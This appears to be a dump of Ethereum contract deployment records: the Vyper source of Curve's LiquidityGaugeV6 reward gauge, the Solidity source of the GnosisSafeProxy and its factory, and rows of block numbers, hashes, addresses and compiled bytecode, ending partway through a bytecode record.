# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(VERSION) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) CRV: constant(address) = 0xD533a949740bb3306d119CC777fa900bA034cd52 GAUGE_CONTROLLER: constant(address) = 0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB MINTER: constant(address) = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 VEBOOST_PROXY: constant(address) = 0x8E0c00ed546602fD9927DF742bbAbF726D5B0d16 VOTING_ESCROW: constant(address) = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2 # ERC20 balanceOf: public(HashMap[address, uint256]) totalSupply: public(uint256) allowance: public(HashMap[address, HashMap[address, uint256]]) name: public(String[64]) symbol: public(String[40]) # ERC2612 nonces: public(HashMap[address, uint256]) # Gauge factory: public(address) manager: public(address) lp_token: public(address) is_killed: public(bool) # [future_epoch_time uint40][inflation_rate uint216] inflation_params: uint256 # For tracking external rewards reward_count: public(uint256) reward_data: public(HashMap[address, Reward]) # claimant -> default reward receiver rewards_receiver: public(HashMap[address, address]) # reward token -> claiming address -> integral reward_integral_for: public(HashMap[address, HashMap[address, uint256]]) # user -> [uint128 claimable amount][uint128 claimed amount] claim_data: HashMap[address, HashMap[address, uint256]] working_balances: public(HashMap[address, uint256]) working_supply: public(uint256) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from (last_action) till checkpoint integrate_inv_supply_of: public(HashMap[address, uint256]) integrate_checkpoint_of: public(HashMap[address, uint256]) # ∫(balance * rate(t) / totalSupply(t) dt) from 0 till checkpoint # Units: rate * t = already number of coins per address to issue integrate_fraction: public(HashMap[address, uint256]) # The goal is to be able to calculate ∫(rate * balance / totalSupply dt) from 0 till checkpoint # All values are kept in units of being multiplied by 1e18 period: public(int128) # array of reward tokens reward_tokens: public(address[MAX_REWARDS]) period_timestamp: public(uint256[100000000000000000000000000000]) # 1e18 * ∫(rate(t) / totalSupply(t) dt) from 0 till checkpoint integrate_inv_supply: public(uint256[100000000000000000000000000000]) # bump epoch when rate() changes @external def __init__(_lp_token: address): """ @notice Contract constructor @param _lp_token Liquidity Pool contract address """ self.lp_token = _lp_token self.factory = msg.sender self.manager = tx.origin symbol: String[32] = ERC20Extended(_lp_token).symbol() name: String[64] = concat("Curve.fi ", symbol, " Gauge Deposit") self.name = name self.symbol = concat(symbol, "-gauge") self.period_timestamp[0] = block.timestamp self.inflation_params = ( (CRV20(CRV).future_epoch_time_write() << 216) + CRV20(CRV).rate() ) NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # Internal Functions @view @internal def _domain_separator() -> bytes32: if chain.id != CACHED_CHAIN_ID: return keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) return CACHED_DOMAIN_SEPARATOR @internal def _checkpoint(addr: address): """ @notice Checkpoint for a user @dev Updates the CRV emissions a user is entitled to receive @param addr User address """ _period: int128 = self.period _period_time: uint256 = self.period_timestamp[_period] _integrate_inv_supply: uint256 = self.integrate_inv_supply[_period] inflation_params: uint256 = self.inflation_params prev_future_epoch: uint256 = inflation_params >> 216 gauge_is_killed: bool = self.is_killed rate: uint256 = inflation_params % 2 ** 216 new_rate: uint256 = rate if gauge_is_killed: rate = 0 new_rate = 0 if prev_future_epoch >= _period_time: future_epoch_time_write: uint256 = CRV20(CRV).future_epoch_time_write() if not gauge_is_killed: new_rate = CRV20(CRV).rate() self.inflation_params = (future_epoch_time_write << 216) + new_rate # Update integral of 1/supply if block.timestamp > _period_time: _working_supply: uint256 = self.working_supply Controller(GAUGE_CONTROLLER).checkpoint_gauge(self) prev_week_time: uint256 = _period_time week_time: uint256 = min((_period_time + WEEK) / WEEK * WEEK, block.timestamp) for i in range(500): dt: uint256 = week_time - prev_week_time w: uint256 = Controller(GAUGE_CONTROLLER).gauge_relative_weight(self, prev_week_time) if _working_supply > 0: if prev_future_epoch >= prev_week_time and prev_future_epoch < week_time: # If we went across one or multiple epochs, apply the rate # of the first epoch until it ends, and then the rate of # the last epoch. # If more than one epoch is crossed - the gauge gets less, # but that'd meen it wasn't called for more than 1 year _integrate_inv_supply += rate * w * (prev_future_epoch - prev_week_time) / _working_supply rate = new_rate _integrate_inv_supply += rate * w * (week_time - prev_future_epoch) / _working_supply else: _integrate_inv_supply += rate * w * dt / _working_supply # On precisions of the calculation # rate ~= 10e18 # last_weight > 0.01 * 1e18 = 1e16 (if pool weight is 1%) # _working_supply ~= TVL * 1e18 ~= 1e26 ($100M for example) # The largest loss is at dt = 1 # Loss is 1e-9 - acceptable if week_time == block.timestamp: break prev_week_time = week_time week_time = min(week_time + WEEK, block.timestamp) _period += 1 self.period = _period self.period_timestamp[_period] = block.timestamp self.integrate_inv_supply[_period] = _integrate_inv_supply # Update user-specific integrals _working_balance: uint256 = self.working_balances[addr] self.integrate_fraction[addr] += _working_balance * (_integrate_inv_supply - self.integrate_inv_supply_of[addr]) / 10 ** 18 self.integrate_inv_supply_of[addr] = _integrate_inv_supply self.integrate_checkpoint_of[addr] = block.timestamp @internal def _checkpoint_rewards(_user: address, _total_supply: uint256, _claim: bool, _receiver: address): """ @notice Claim pending rewards and checkpoint rewards for a user """ user_balance: uint256 = 0 receiver: address = _receiver if _user != empty(address): user_balance = self.balanceOf[_user] if _claim and _receiver == empty(address): # if receiver is not explicitly declared, check if a default receiver is set receiver = self.rewards_receiver[_user] if receiver == empty(address): # if no default receiver is set, direct claims to the user receiver = _user reward_count: uint256 = self.reward_count for i in range(MAX_REWARDS): if i == reward_count: break token: address = self.reward_tokens[i] integral: uint256 = self.reward_data[token].integral last_update: uint256 = min(block.timestamp, self.reward_data[token].period_finish) duration: uint256 = last_update - self.reward_data[token].last_update if duration != 0 and _total_supply != 0: self.reward_data[token].last_update = last_update integral += duration * self.reward_data[token].rate * 10**18 / _total_supply self.reward_data[token].integral = integral if _user != empty(address): integral_for: uint256 = self.reward_integral_for[token][_user] new_claimable: uint256 = 0 if integral_for < integral: self.reward_integral_for[token][_user] = integral new_claimable = user_balance * (integral - integral_for) / 10**18 claim_data: uint256 = self.claim_data[_user][token] total_claimable: uint256 = (claim_data >> 128) + new_claimable if total_claimable > 0: total_claimed: uint256 = claim_data % 2**128 if _claim: assert ERC20(token).transfer(receiver, total_claimable, default_return_value=True) self.claim_data[_user][token] = total_claimed + total_claimable elif new_claimable > 0: self.claim_data[_user][token] = total_claimed + (total_claimable << 128) @internal def _update_liquidity_limit(addr: address, l: uint256, L: uint256): """ @notice Calculate limits which depend on the amount of CRV token per-user. Effectively it calculates working balances to apply amplification of CRV production by CRV @param addr User address @param l User's amount of liquidity (LP tokens) @param L Total amount of liquidity (LP tokens) """ # To be called after totalSupply is updated voting_balance: uint256 = VotingEscrowBoost(VEBOOST_PROXY).adjusted_balance_of(addr) voting_total: uint256 = ERC20(VOTING_ESCROW).totalSupply() lim: uint256 = l * TOKENLESS_PRODUCTION / 100 if voting_total > 0: lim += L * voting_balance / voting_total * (100 - TOKENLESS_PRODUCTION) / 100 lim = min(l, lim) old_bal: uint256 = self.working_balances[addr] self.working_balances[addr] = lim _working_supply: uint256 = self.working_supply + lim - old_bal self.working_supply = _working_supply log UpdateLiquidityLimit(addr, l, L, lim, _working_supply) @internal def _transfer(_from: address, _to: address, _value: uint256): """ @notice Transfer tokens as well as checkpoint users """ self._checkpoint(_from) self._checkpoint(_to) if _value != 0: total_supply: uint256 = self.totalSupply is_rewards: bool = self.reward_count != 0 if is_rewards: self._checkpoint_rewards(_from, total_supply, False, empty(address)) new_balance: uint256 = self.balanceOf[_from] - _value self.balanceOf[_from] = new_balance self._update_liquidity_limit(_from, new_balance, total_supply) if is_rewards: self._checkpoint_rewards(_to, total_supply, False, empty(address)) new_balance = self.balanceOf[_to] + _value self.balanceOf[_to] = new_balance self._update_liquidity_limit(_to, new_balance, total_supply) log Transfer(_from, _to, _value) # External User Facing Functions @external @nonreentrant('lock') def deposit(_value: uint256, _addr: address = msg.sender, _claim_rewards: bool = False): """ @notice Deposit `_value` LP tokens @dev Depositting also claims pending reward tokens @param _value Number of tokens to deposit @param _addr Address to deposit for """ assert _addr != empty(address) # dev: cannot deposit for zero address self._checkpoint(_addr) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(_addr, total_supply, _claim_rewards, empty(address)) total_supply += _value new_balance: uint256 = self.balanceOf[_addr] + _value self.balanceOf[_addr] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(_addr, new_balance, total_supply) ERC20(self.lp_token).transferFrom(msg.sender, self, _value) log Deposit(_addr, _value) log Transfer(empty(address), _addr, _value) @external @nonreentrant('lock') def withdraw(_value: uint256, _claim_rewards: bool = False): """ @notice Withdraw `_value` LP tokens @dev Withdrawing also claims pending reward tokens @param _value Number of tokens to withdraw """ self._checkpoint(msg.sender) if _value != 0: is_rewards: bool = self.reward_count != 0 total_supply: uint256 = self.totalSupply if is_rewards: self._checkpoint_rewards(msg.sender, total_supply, _claim_rewards, empty(address)) total_supply -= _value new_balance: uint256 = self.balanceOf[msg.sender] - _value self.balanceOf[msg.sender] = new_balance self.totalSupply = total_supply self._update_liquidity_limit(msg.sender, new_balance, total_supply) ERC20(self.lp_token).transfer(msg.sender, _value) log Withdraw(msg.sender, _value) log Transfer(msg.sender, empty(address), _value) @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = empty(address)): """ @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to empty(address), uses the default reward receiver for the caller """ if _receiver != empty(address): assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) @external @nonreentrant('lock') def transferFrom(_from: address, _to :address, _value: uint256) -> bool: """ @notice Transfer tokens from one address to another. @dev Transferring claims pending reward tokens for the sender and receiver @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ _allowance: uint256 = self.allowance[_from][msg.sender] if _allowance != max_value(uint256): self.allowance[_from][msg.sender] = _allowance - _value self._transfer(_from, _to, _value) return True @external @nonreentrant('lock') def transfer(_to: address, _value: uint256) -> bool: """ @notice Transfer token for a specified address @dev Transferring claims pending reward tokens for the sender and receiver @param _to The address to transfer to. @param _value The amount to be transferred. """ self._transfer(msg.sender, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @notice Approve the passed address to transfer the specified amount of tokens on behalf of msg.sender @dev Beware that changing an allowance via this method brings the risk that someone may use both the old and new allowance by unfortunate transaction ordering. This may be mitigated with the use of {incraseAllowance} and {decreaseAllowance}. https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will transfer the funds @param _value The amount of tokens that may be transferred @return bool success """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def permit( _owner: address, _spender: address, _value: uint256, _deadline: uint256, _v: uint8, _r: bytes32, _s: bytes32 ) -> bool: """ @notice Approves spender by owner's signature to expend owner's tokens. See https://eips.ethereum.org/EIPS/eip-2612. @dev Inspired by https://github.com/yearn/yearn-vaults/blob/main/contracts/Vault.vy#L753-L793 @dev Supports smart contract wallets which implement ERC1271 https://eips.ethereum.org/EIPS/eip-1271 @param _owner The address which is a source of funds and has signed the Permit. @param _spender The address which is allowed to spend the funds. @param _value The amount of tokens to be spent. @param _deadline The timestamp after which the Permit is no longer valid. @param _v The bytes[64] of the valid secp256k1 signature of permit by owner @param _r The bytes[0:32] of the valid secp256k1 signature of permit by owner @param _s The bytes[32:64] of the valid secp256k1 signature of permit by owner @return True, if transaction completes successfully """ assert _owner != empty(address) # dev: invalid owner assert block.timestamp <= _deadline # dev: permit expired nonce: uint256 = self.nonces[_owner] digest: bytes32 = keccak256( concat( b"\x19\x01", self._domain_separator(), keccak256( _abi_encode( EIP2612_TYPEHASH, _owner, _spender, _value, nonce, _deadline ) ), ) ) assert ecrecover(digest, _v, _r, _s) == _owner # dev: invalid signature self.allowance[_owner][_spender] = _value self.nonces[_owner] = unsafe_add(nonce, 1) log Approval(_owner, _spender, _value) return True @external def increaseAllowance(_spender: address, _added_value: uint256) -> bool: """ @notice Increase the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _added_value The amount of to increase the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] + _added_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def decreaseAllowance(_spender: address, _subtracted_value: uint256) -> bool: """ @notice Decrease the allowance granted to `_spender` by the caller @dev This is alternative to {approve} that can be used as a mitigation for the potential race condition @param _spender The address which will transfer the funds @param _subtracted_value The amount of to decrease the allowance @return bool success """ allowance: uint256 = self.allowance[msg.sender][_spender] - _subtracted_value self.allowance[msg.sender][_spender] = allowance log Approval(msg.sender, _spender, allowance) return True @external def user_checkpoint(addr: address) -> bool: """ @notice Record a checkpoint for `addr` @param addr User address @return bool success """ assert msg.sender in [addr, MINTER] # dev: unauthorized self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) return True @external def set_rewards_receiver(_receiver: address): """ @notice Set the default reward receiver for the caller. @dev When set to empty(address), rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` """ self.rewards_receiver[msg.sender] = _receiver @external def kick(addr: address): """ @notice Kick `addr` for abusing their boost @dev Only if either they had another voting event, or their voting escrow lock expired @param addr Address to kick """ t_last: uint256 = self.integrate_checkpoint_of[addr] t_ve: uint256 = VotingEscrow(VOTING_ESCROW).user_point_history__ts( addr, VotingEscrow(VOTING_ESCROW).user_point_epoch(addr) ) _balance: uint256 = self.balanceOf[addr] assert ERC20(VOTING_ESCROW).balanceOf(addr) == 0 or t_ve > t_last # dev: kick not allowed assert self.working_balances[addr] > _balance * TOKENLESS_PRODUCTION / 100 # dev: kick not needed self._checkpoint(addr) self._update_liquidity_limit(addr, self.balanceOf[addr], self.totalSupply) # Administrative Functions @external def set_gauge_manager(_gauge_manager: address): """ @notice Change the gauge manager for a gauge @dev The manager of this contract, or the ownership admin can outright modify gauge managership. A gauge manager can also transfer managership to a new manager via this method, but only for the gauge which they are the manager of. @param _gauge_manager The account to set as the new manager of the gauge. """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin self.manager = _gauge_manager log SetGaugeManager(_gauge_manager) @external @nonreentrant("lock") def deposit_reward_token(_reward_token: address, _amount: uint256, _epoch: uint256 = WEEK): """ @notice Deposit a reward token for distribution @param _reward_token The reward token being deposited @param _amount The amount of `_reward_token` being deposited @param _epoch The duration the rewards are distributed across. """ assert msg.sender == self.reward_data[_reward_token].distributor self._checkpoint_rewards(empty(address), self.totalSupply, False, empty(address)) # transferFrom reward token and use transferred amount henceforth: amount_received: uint256 = ERC20(_reward_token).balanceOf(self) assert ERC20(_reward_token).transferFrom( msg.sender, self, _amount, default_return_value=True ) amount_received = ERC20(_reward_token).balanceOf(self) - amount_received period_finish: uint256 = self.reward_data[_reward_token].period_finish assert amount_received > _epoch # dev: rate will tend to zero! if block.timestamp >= period_finish: self.reward_data[_reward_token].rate = amount_received / _epoch else: remaining: uint256 = period_finish - block.timestamp leftover: uint256 = remaining * self.reward_data[_reward_token].rate self.reward_data[_reward_token].rate = (amount_received + leftover) / _epoch self.reward_data[_reward_token].last_update = block.timestamp self.reward_data[_reward_token].period_finish = block.timestamp + _epoch @external def add_reward(_reward_token: address, _distributor: address): """ @notice Add additional rewards to be distributed to stakers @param _reward_token The token to add as an additional reward @param _distributor Address permitted to fund this contract with the reward token """ assert msg.sender in [self.manager, Factory(self.factory).admin()] # dev: only manager or factory admin assert _distributor != empty(address) # dev: distributor cannot be zero address reward_count: uint256 = self.reward_count assert reward_count < MAX_REWARDS assert self.reward_data[_reward_token].distributor == empty(address) self.reward_data[_reward_token].distributor = _distributor self.reward_tokens[reward_count] = _reward_token self.reward_count = reward_count + 1 @external def set_reward_distributor(_reward_token: address, _distributor: address): """ @notice Reassign the reward distributor for a reward token @param _reward_token The reward token to reassign distribution rights to @param _distributor The address of the new distributor """ current_distributor: address = self.reward_data[_reward_token].distributor assert msg.sender in [current_distributor, Factory(self.factory).admin(), self.manager] assert current_distributor != empty(address) assert _distributor != empty(address) self.reward_data[_reward_token].distributor = _distributor @external def set_killed(_is_killed: bool): """ @notice Set the killed status for this contract @dev When killed, the gauge always yields a rate of 0 and so cannot mint CRV @param _is_killed Killed status to set """ assert msg.sender == Factory(self.factory).admin() # dev: only owner self.is_killed = _is_killed # View Methods @view @external def claimed_reward(_addr: address, _token: address) -> uint256: """ @notice Get the number of already-claimed reward tokens for a user @param _addr Account to get reward amount for @param _token Token to get reward amount for @return uint256 Total amount of `_token` already claimed by `_addr` """ return self.claim_data[_addr][_token] % 2**128 @view @external def claimable_reward(_user: address, _reward_token: address) -> uint256: """ @notice Get the number of claimable reward tokens for a user @param _user Account to get reward amount for @param _reward_token Token to get reward amount for @return uint256 Claimable reward token amount """ integral: uint256 = self.reward_data[_reward_token].integral total_supply: uint256 = self.totalSupply if total_supply != 0: last_update: uint256 = min(block.timestamp, self.reward_data[_reward_token].period_finish) duration: uint256 = last_update - self.reward_data[_reward_token].last_update integral += (duration * self.reward_data[_reward_token].rate * 10**18 / total_supply) integral_for: uint256 = self.reward_integral_for[_reward_token][_user] new_claimable: uint256 = self.balanceOf[_user] * (integral - integral_for) / 10**18 return (self.claim_data[_user][_reward_token] >> 128) + new_claimable @external def claimable_tokens(addr: address) -> uint256: """ @notice Get the number of claimable tokens per user @dev This function should be manually changed to "view" in the ABI @return uint256 number of claimable tokens per user """ self._checkpoint(addr) return self.integrate_fraction[addr] - Minter(MINTER).minted(addr, self) @view @external def integrate_checkpoint() -> uint256: """ @notice Get the timestamp of the last checkpoint """ return self.period_timestamp[self.period] @view @external def future_epoch_time() -> uint256: """ @notice Get the locally stored CRV future epoch start time """ return self.inflation_params >> 216 @view @external def inflation_rate() -> uint256: """ @notice Get the locally stored CRV inflation rate """ return self.inflation_params % 2 ** 216 @view @external def decimals() -> uint256: """ @notice Get the number of decimals for this token @dev Implemented as a view method to reduce gas costs @return uint256 decimal places """ return 18 @view @external def version() -> String[8]: """ @notice Get the version of this gauge contract """ return VERSION @view @external def DOMAIN_SEPARATOR() -> bytes32: """ @notice EIP712 domain separator. """ return self._domain_separator()
1
19,493,314
e2dd4c31a11f42bcf61c91bc341b01509872277c38bd422e9fde62be98e58b81
d0c4cff1bf18712c1a7016b3c861776f5238e32d9f0a569c7b2285c41557d5f6
4b086554f5405313e8c4d2072efe181546dd2154
f041690d9cbe398d3d51f25c87902c1403affe66
4a0693d6bb42fe98eca82eb364d54c6f4fbdb85f
3d602d80600a3d3981f3363d3d373d3d3d363d73d29bb41f2f507638f6d42805268ba7c7f8c0ecb35af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73d29bb41f2f507638f6d42805268ba7c7f8c0ecb35af43d82803e903d91602b57fd5bf3
1
19,493,314
e2dd4c31a11f42bcf61c91bc341b01509872277c38bd422e9fde62be98e58b81
9142a421a91671847f71bace7aadc99b57e419ed20d92b6304597222dcc70e0c
49357ba0ef3a8dac25903472eee45c41221d4f9a
12715a66773bd9c54534a01abf01d05f6b4bd35e
0e7f86b5b4b3dabcb0b621160e99c948827ab42c
7f602036038060203d373d3d3d923d343d355af13d82803e903d91601e57fd5bf33d5260203df3
602036038060203d373d3d3d923d343d355af13d82803e903d91601e57fd5bf3
1
19,493,322
f03d9079f58b356e896b43b0899f30f6abdeb10902995a4bc60e47321c4e9208
fa911736d8540ff1aa3c4ab54ba953fa87c18c88aa2d9d3d047535eb983f2c5e
c08c640ee684baf4d3ae2d050d71968a74b7332d
a6b71e26c5e0845f74c812102ca7114b6a896ab2
0a120d598f71d074ba5383197a8623dc23a01645
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,493,323
e0e276262da4580ba1d2ad5ab6db4135feb7c85223837716849a3aa05edb5732
ba359ef39f6e304a452d6b78d96e47e444756e54c8af393cacbe90f6fb586111
5a9289084de753cc2ca1b7491c70090aa33167e2
5a9289084de753cc2ca1b7491c70090aa33167e2
0000a71399c17f9d65dcc7ef27051e4e26960000
608060405234801561001057600080fd5b5060405161084438038061084483398101604081905261002f91610054565b600080546001600160a01b0319166001600160a01b0392909216919091179055610084565b60006020828403121561006657600080fd5b81516001600160a01b038116811461007d57600080fd5b9392505050565b6107b1806100936000396000f3fe6080604052600436106100225760003560e01c8063caa5c23f146100a157610032565b3661003257610030346100c1565b005b6040517f11111111111111111111000000000000000000000000000000000000000000006020820152602a0160405160208183030381529060405280519060200120600036604051610085929190610442565b604051809103902003610098575b610093565b610030346100c1565b3480156100ad57600080fd5b506100306100bc3660046104fe565b6101ea565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9b2d7f6500000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161013291610651565b6000604051808303816000865af19150503d806000811461016f576040519150601f19603f3d011682016040523d82523d6000602084013e610174565b606091505b509150915060008180602001905181019061018f9190610680565b9050806001600160a01b03168460405160006040518083038185875af1925050503d